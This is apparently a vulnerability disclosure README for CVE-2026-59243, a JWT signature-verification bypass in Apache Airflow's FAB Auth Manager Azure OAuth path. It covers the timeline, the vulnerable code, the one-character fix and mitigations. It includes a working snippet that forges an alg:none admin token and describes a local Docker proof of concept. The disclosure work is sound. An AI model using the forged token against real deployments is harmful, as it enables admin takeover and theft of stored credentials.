MalHyuk/CVE-2026-59243
GitHub: MalHyuk/CVE-2026-59243
CVE-2026-59243 的漏洞分析与复现仓库,揭示 Apache Airflow FAB Auth Manager 的 Azure AD OAuth 路径因默认禁用 JWT 签名验证而导致身份伪造的安全缺陷。
Stars: 0 | Forks: 0
# CVE-2026-59243:Apache Airflow FAB Auth Manager JWT 签名绕过
**韩语版本:** [README.ko.md](README.ko.md)
**官方公告(Apache,发布于 2026-07-29):**
**CVE 记录:**
**修复版本:** `apache-airflow-providers-fab==3.7.3`
## 元数据
- **CVE:** CVE-2026-59243
- **CVSS 3.1:** 8.1 High,`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **CWE-347:** 加密签名的不当验证
- **受影响组件:** Apache Airflow,`providers/fab` Auth Manager(Azure AD OAuth 路径)
- **影响:** 未授权攻击者可伪造任意 JWT 身份并以管理员权限登入
- **报告者:** MalHyuk,
修复程序已于 2026-07-07 合并入上游(commit [`54259ae`](https://github.com/apache/airflow/commit/54259ae),PR [#69374](https://github.com/apache/airflow/pull/69374)),并随 `apache-airflow-providers-fab==3.7.3` 于 2026-07-28 发布。Apache 的公告于 2026-07-29 发布;Apache 将其严重性评定为**中等**。
## 摘要
FAB Auth Manager 的 Azure AD OAuth 回调默认使用 `verify_signature=False` 来解码 `id_token`。如果你能将一个 JWT 发送到该回调前面(通过 MITM、重定向滥用等任何方式),你就可以为其赋予你想要的任何身份,包括管理员。同一文件中的 Authentik 路径默认值为 `True`,这首先让我意识到 Azure 的默认设置并非有意为之。上游仅通过一个字符的修改将其翻转为 `True`。
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-03-18 | 报告至 `security@airflow.apache.org` |
| 2026-03 至 2026-07 | Apache 方面保持沉默。一名 Airflow PMC 成员后来提到最初的报告被遗漏了。 |
| 2026-07-03 | Airflow PMC 成员接手处理 |
| 2026-07-04 | 分配 CVE-2026-59243 |
| 2026-07-04 | 发送致谢信息(MalHyuk / ) |
| 2026-07-07 | 修复合并:commit [`54259ae`](https://github.com/apache/airflow/commit/54259ae),PR [#69374](https://github.com/apache/airflow/pull/69374) |
| 2026-07-28 | 随 `apache-airflow-providers-fab==3.7.3` 发布 |
| 2026-07-29 | MITRE CVE 记录发布,Apache 公告发布至 `users@airflow.apache.org` |
| 2026-07-29 | 本仓库转为公开 |
| 待定 | NVD 详情页(通常在 MITRE 之后几天) |
| 待定 | 位于 github.com/apache/airflow/security/advisories 的 GHSA 条目 |
Apache CNA 跟踪:
Apache 邮件列表公告:
## 实际的故障原因
文件:`providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py`
由于不相关的重构,原始报告和当前 `main` 分支之间的行号略有偏移,但这是同一个文件。
| 函数 | 报告时 (2026-03-18) | 已修复的 `main` 中 (2026-07-29) |
|---|---|---|
| `_decode_and_validate_azure_jwt()` | 2331–2341(默认 `False`,存在漏洞) | 2428–2438(默认 `True`,已修复) |
| `_get_authentik_token_info()`(安全参考) | 414–416(默认 `True`) | 419–420(默认 `True`) |
漏洞代码很短:
```
# override.py:2331 在报告时
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # <- default False, this is the bug
)
if verify_signature:
# ... proper JWK signature verification with authlib
return claims
# default path: no signature check at all
return jwt.decode(id_token, options={"verify_signature": False})
```
有两点很突出。首先,默认值为 `False`,因此任何使用 Azure 集成但未在 `client_kwargs` 中显式设置 `verify_signature: true` 的人都不会进行签名验证。其次,回退路径直接将 token 交给 `jwt.decode` 并禁用了签名验证。这并不是因为缺少密钥或 JWKS 获取失败而导致的安全机制失效(fail-open),而是一个有意为之的直接放行,盲目信任调用者提供的任何内容。
作为对比,以下是同一文件中的 Authentik 路径:
```
# override.py:414 在报告时 — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # default True
)
```
结构相同,默认值却截然相反。很难不把这看作是一种疏忽。
## 攻击链
假设 Airflow 部署了 FAB Auth Manager 和 Azure AD OAuth,且 `client_kwargs` 中没有覆盖 `verify_signature`(默认配置)。
伪造一个带有 `alg: none`、你想要的任何声明以及空签名的 JWT:
```
import base64, json
def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "admin@company.com",
"email": "admin@company.com",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com//v2.0",
"aud": "",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # trailing dot: empty signature
```
将该 token 发送到回调(`/login/azure/authorized` 或集成挂载的任何位置)。在实际操作中,传递过程是比较棘手的部分:你需要处于 MITM 位置、存在一个你可以滥用的重定向流程,或者有一个允许你注入 token 的辅助漏洞。一旦它到达那里,FAB 就会调用 `_decode_and_validate_azure_jwt`,落入默认路径,并按原样返回声明。至此,你就成为了管理员,而在 Airflow 中成为管理员意味着可以访问 Connections、Variables、Fernet key,并以 worker 的身份执行任意任务。
## CVSS 说明
我将其评为 8.1 High,`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`。复杂度为 High,因为在每次部署中传递 JWT 并非易事。但一旦你成功实施,其影响是毁灭性的。Apache 在公告中可能会有不同的评分;那也没关系。
## 修复
一个字符的改动。已合并入 main 分支并已发布:
```
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
```
于 2026-07-07 在 PR [#69374](https://github.com/apache/airflow/pull/69374) 中作为 [`54259ae`](https://github.com/apache/airflow/commit/54259ae) 合并。于 2026-07-28 随 `apache-airflow-providers-fab==3.7.3` 发布。
如果确实有人需要在没有签名验证的情况下运行(例如本地副本上的自签名 JWKS),他们仍然可以通过在 `client_kwargs` 中显式设置 `verify_signature: false` 来选择加入。这比默认不安全的状态要好得多。
对于无法立即升级的用户,请在 `webserver_config.py` 中显式设置它:
```
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
```
另外值得一做的还有:对 OAuth 回调强制使用 HTTPS 并进行严格的 `redirect_uri` 白名单过滤,以及在你认为自己可能已经受到攻击时轮换 Airflow Connections。
## 复现
Docker PoC 位于 [`poc/`](poc/) 目录下:
- `poc/server.py` 在一个小型 Flask 应用中复现了存在漏洞的 `jwt.decode(..., options={"verify_signature": False})` 路径。
- `poc/exploit_airflow_jwt.py` 使用 `pwntools` 伪造 token、命中回调、登入管理视图并导出占位符“机密”。
- `poc/Dockerfile` 和 `poc/docker-compose.yml` 在 `127.0.0.1:5002` 上启动目标,使其不会泄露到局域网。
一条命令:
```
cd poc/
./run.sh
```
`docker-compose.yml` 绑定到回环地址。如果你坚持要在共享服务器上运行它,请先修改该配置。
## 目录结构
```
CVE-2026-59243/
├── README.md this file (EN)
├── README.ko.md Korean version
├── LICENSE MIT + defensive-use notice
├── check_advisory.sh cron-driven publication watcher
├── patch/fix.diff the one-character fix, anchored at report-time line 2332
└── poc/ Docker + pwntools reproduction
```
## 致谢与联系方式
由 MalHyuk 报告。可通过 联系。
Apache 方面:初始报告发送至 `security@airflow.apache.org`;七月份的后续跟进由一名 Airflow PMC 成员处理。
## 许可证
MIT,详见 [LICENSE](LICENSE)。该 PoC 仅用于演示及对你拥有所有权或已获得书面授权的系统进行防御性安全测试。
标签:Apache Airflow, JWT绕过, Web安全, 漏洞分析, 蓝队分析, 请求拦截, 路径探测, 身份认证绕过, 逆向工具